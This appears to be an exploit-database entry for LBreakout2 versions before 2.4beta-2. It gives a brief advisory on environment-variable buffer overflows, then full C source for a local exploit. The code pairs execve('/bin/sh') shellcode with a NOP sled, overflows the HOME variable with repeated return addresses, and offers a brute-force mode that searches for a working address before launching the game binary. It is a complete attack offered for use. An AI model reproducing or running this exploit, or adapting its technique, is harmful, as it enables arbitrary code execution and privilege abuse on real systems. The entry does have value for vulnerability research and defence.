LGames LBreakout2 2.2.2 - Multiple Environment Variable Buffer Overflow Vulnerabilities

/*
source: https://www.securityfocus.com/bid/9712/info

Multiple buffer overflow vulnerabilities exist in the environment variable handling of LBreakout2. The issue is due to an insufficient boundary checking of certain environment variables used by the affected application.

A malicious user may exploit this condition to potentially corrupt sensitive process memory in the affected process and ultimately execute arbitrary code with the privileges of the game process.
*/

/* 
 * lbreakout2 < 2.4beta-2 local exploit by [email protected]
 * vulnerability reported by Ulf Harnhammar <[email protected]>
 * usage: ./lbreakout2-exp [-r <RET>][-b [-s <STARTING_RET>]]
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <errno.h>

#define BSIZE 200
#define D_START 0xbfffffff
#define PATH "/usr/local/bin/lbreakout2"

void exec_vuln();
int tease();
int make_string(long ret_addr);
int bruteforce(long start);
void banner(char *argv);

char shellcode[]=
      "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
      "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

char *buffer,*ptr;

int 
main(int argc,char *argv[])
{
      char * option_list = "br:s:";
      int option,brute = 0,opterr = 0;
      long ret,start = D_START;

      if (argc < 2) banner(argv[0]);

      while((option = getopt(argc,argv,option_list)) != -1)
          switch(option)
          {
              case 'b':
                  brute = 1;
                  break;
              case 'r':
                  ret = strtoul(optarg,NULL,0);
                  make_string(ret);
                  tease();
                  exit(1);
                  break;
              case 's':
                  start = strtoul(optarg,NULL,0);
                  break;
              case '?':
                  fprintf(stderr,"[-] option \'%c\' invalid\n",optopt);
                  banner(argv[0]);
                  exit(1);
          }

      if(brute) 
          bruteforce(start);

      return 0;
}

void 
exec_vuln()
{
      execl(PATH,PATH,NULL);
}

int 
tease()
{
      pid_t pid;
      pid_t wpid;
      int status;

      pid = fork();

      if (pid == -1)
      {
          fprintf(stderr, "[-] %s: Failed to fork()\n",strerror(errno));
          exit(13);
      } 
      else if (pid == 0)
      {
          exec_vuln();
      } 
      else  
      {
          wpid = wait(&status);
          if (wpid == -1)
          {
              fprintf(stderr,"[-] %s: wait()\n",strerror(errno));
              return 1;
          } 
          else if (wpid != pid)
              abort();
          else 
          {
              if (WIFEXITED(status))
              {
                  fprintf(stdout,"[+] Exited: shell's ret code = %d\n",WEXITSTATUS(status));
                  return WEXITSTATUS(status);
              } 
              else if (WIFSIGNALED(status))
                  return WTERMSIG(status);  
              else 
                  fprintf(stderr,"[-] Stopped.\n");
          }
      }
      return 1;
}

int 
make_string(long ret_addr)
{
      int i;
      long ret,addr,*addr_ptr;    
      
      buffer = (char *)malloc(1024);
      if(!buffer)
      {
          fprintf(stderr,"[-] Can't allocate memory\n");
          exit(-1);
      }

      ret = ret_addr;

      ptr = buffer;

      memset(ptr,0x90,BSIZE-strlen(shellcode));
      ptr += BSIZE-strlen(shellcode);

      memcpy(ptr,shellcode,strlen(shellcode));
      ptr += strlen(shellcode);

      addr_ptr = (long *)ptr;
      for(i=0;i<200;i++)
          *(addr_ptr++) = ret;
      ptr = (char *)addr_ptr;
      *ptr = 0;
  
      setenv("HOME",buffer,1);
      return 0;
}

int 
bruteforce(long start)
{
      int ret;
      long i;

      fprintf(stdout,"[+] Starting bruteforcing...\n");
 
      for(i=start;i<0;i=i-50) 
      {
          fprintf(stdout,"[+] Testing 0x%x...\n",i);
          make_string(i);
          ret=tease();
          if(ret==0)
          {
              fprintf(stdout,"[+] Ret address found: 0x%x\n",i);
              break;
          }
      }
      
      return 0;
}

void 
banner(char *argv)
{
      fprintf(stderr,"lbreakout2 < 2.4beta-2 local exploit by [email protected]\n");
      fprintf(stderr,"vulnerability reported by Ulf Harnhammar <[email protected]>\n");
      fprintf(stderr,"usage: %s [-r <RET>][-b [-s <STARTING_RET>]]\n",argv);
      exit(1);
}